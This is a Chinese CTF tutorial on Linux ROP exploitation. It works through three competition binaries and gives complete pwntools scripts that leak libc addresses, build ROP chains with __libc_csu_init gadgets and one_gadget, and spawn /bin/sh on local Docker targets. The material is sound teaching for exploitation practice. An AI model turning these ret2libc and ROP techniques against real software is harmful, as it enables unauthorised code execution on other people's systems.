CTF必备技能丨Linux Pwn入门教程——ROP技术（下）

Linux Pwn入门教程系列分享如约而至，本套课程是作者依据i春秋Pwn入门课程中的技术分类，并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法，如栈，堆，整数溢出，格式化字符串，条件竞争等进行介绍，所有环境都会封装在Docker镜像当中，并提供调试用的教学程序，来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章：环境配置

Linux Pwn入门教程第二章：栈溢出基础

Linux Pwn入门教程第三章：ShellCode

Linux Pwn入门教程——ROP技术（上）

教程中的题目和脚本若有使用不妥之处，欢迎各位大佬批评指正。

从给定的libc中寻找gadget

有时候pwn题目也会提供一个pwn环境里对应版本的libc。在这种情况下，我们就可以通过泄露出某个在libc中的内容在内存中的实际地址，通过计算偏移来获取system和“/bin/sh”的地址并调用。

这一节的例子是~/Security Fest CTF 2016-tvstation/tvstation。这是一个比较简单的题目，题目中除了显示出来的三个选项之外还有一个隐藏的选项4，选项4会直接打印出system函数在内存中的首地址：

从IDA中我们可以看到打印完地址后执行了函数debug_func( )，进入函数debug_func( )之后我们发现了溢出点。

由于这个题目给了libc，且我们已经泄露出了system的内存地址。使用命令readelf -a 查看libc.so.6_x64。

从这张图上我们可以看出来.text节（Section）属于第一个LOAD段（Segment），这个段的文件长度和内存长度是一样的，也就是说所有的代码都是原样映射到内存中，代码之间的相对偏移是不会改变的。

由于前面的PHDR, INTERP两个段也是原样映射，所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。如：在这个libc中system函数首地址是0x456a0，即从文件的开头数0x456a0个字节到达system函数。

调试程序，发现system在内存中的地址是0x7fb5c8c266a0。

0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

根据这个事实，我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址，从而以此跳转到其他函数的首地址并执行。

在libc中存在字符串“/bin/sh”，该字符串位于.data节，根据同样的原理我们也可以得知这个字符串距libc首地址的偏移。

还有用来传参的gadget :pop rdi; ret

据此我们可以构建脚本如下：

#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('172.17.0.2', 10001)
io.recvuntil(": ")
io.sendline('4') #跳转到隐藏选项
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址
libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址
pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在内存中的地址，给system函数传参
binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在内存中的地址
payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函数参数
payload += p64(system_addr) #调用system()执行system("/bin/sh")
io.sendline(payload)
io.interactive()

一些特殊的gadgets

这一节主要介绍两个特殊的gadgets。第一个gadget经常被称作通用gadgets，通常位于x64的ELF程序中的__libc_csu_init中，如下图所示：

这张图片里包含了两个gadget，分别是：

我们知道在x64的ELF程序中向函数传参，通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈，以上三段gadgets中，第一段可以设置r12-r15，接上第三段使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx，最后利用r12+rbx*8可以call任意一个地址。

在找gadgets出现困难时，可以利用这个gadgets快速构造ROP链。需要注意的是，用万能gadgets的时候需要设置rbp=1，因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0，从而使r12+rbx*8 = r12，所以call指令结束后rbx必然会变成1。若此时rbp != 1，jnz会再次进行call，从而可能引起段错误。那么这段gadgets怎么用呢？

我们来看一下例子~/LCTF 2016-pwn100/pwn100，这个例子提供了libc，溢出点很明显，位于0x40063d。

我们需要做的就是泄露一个got表中函数的地址，然后计算偏移调用system。前面的代码很简单，我们就不做介绍了。

#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x40075a #万能gadget1：pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400740 #万能gadget2：mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE结构体，修改会导致程序崩溃
payload = "A"*72 #padding
payload += p64(pop_rdi) #
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr) #跳转到start，恢复栈
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

为了演示万能gadgets的使用，我们选择再次通过调用read函数读取/bin/sh\x00字符串，而不是直接使用偏移，首先我们根据万能gadgets布置好栈。

payload = "A"*72 #padding
payload += p64(universal_gadget1) #万能gadget1
payload += p64(0) #rbx = 0
payload += p64(1) #rbp = 1，过掉后面万能gadget2的call返回后的判断
payload += p64(read_got) #r12 = got表中read函数项，里面是read函数的真正地址，直接通过call调用
payload += p64(8) #r13 = 8，read函数读取的字节数，万能gadget2赋值给rdx
payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址，万能gadget2赋值给rsi
payload += p64(0) #r15 = 0，read函数的参数fd，即STDIN，万能gadget2赋值给edi
payload += p64(universal_gadget2) #万能gadget2

我们是不是应该直接在payload后面接上返回地址呢？不，我们回头看一下universal_gadget2的执行流程：

由于我们的构造，上面的那块代码只会执行一次，然后流程就将跳转到下面的loc_400756，这一系列操作将会抬升8*7共56字节的栈空间，因此我们还需要提供56个字节的垃圾数据进行填充，然后再拼接上retn要跳转的地址。

payload += '\x00'*56 #万能gadget2后接判断语句，过掉之后是万能gadget1，用于填充栈
payload += p64(start_addr) #跳转到start，恢复栈
payload = payload.ljust(200, "B") #padding
接下来就是常规操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00") #上面的一段payload调用了read函数读取"/bin/sh\x00"，这里发送字符串
payload = "A"*72 #padding
payload += p64(pop_rdi) #给system函数传参
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #调用system函数执行system("/bin/sh")
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.interactive()

我们介绍的第二个gadget通常被称为one gadget RCE，顾名思义，通过一个gadget远程执行代码，即getshell。我们通过例子~/TJCTF 2016-oneshot/oneshot演示一下这个gadget的威力。

要利用这个gadget，我们需要一个对应环境的libc和一个工具one_gadget。

从红框中的代码我们看到地址rbp+var_8被作为__isoc99_scanf的第二个参数赋值给rsi，即输入被保存在这里。随后rbp+var_8中的内容被赋值给rax，又被赋值给rdx，最后通过call rdx执行。也就是说我们输入一个数字，这个数字会被当成地址使用call调用。由于只能控制4字节，我们就需要用到one gadget RCE来一步getshell。我们通过one_gadget找到一些gadget：

我们看到这些gadget有约束条件。我们选择第一条，要求rax=0。我们构建脚本进行调试：

#!/usr/bin/python
#coding:utf-8
from pwn import *
one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526 execve("/bin/sh", rsp+0x30, environ)
#constraints:
# rax == NULL
setbuf_addr = 0x77f50
setbuf_got = 0x600ae0
io = remote("172.17.0.2", 10001)
io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16) #通过打印got表中setbuf项的内容泄露setbuf在内存中的首地址
io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #通过偏移计算one_gadget_rce在内存中的地址
io.interactive()

执行到call rdx时rax = 0

getshell成功

以上是今天的内容，大家看懂了吗？后面我们将持续更新Linux Pwn入门教程的相关章节，希望大家及时关注。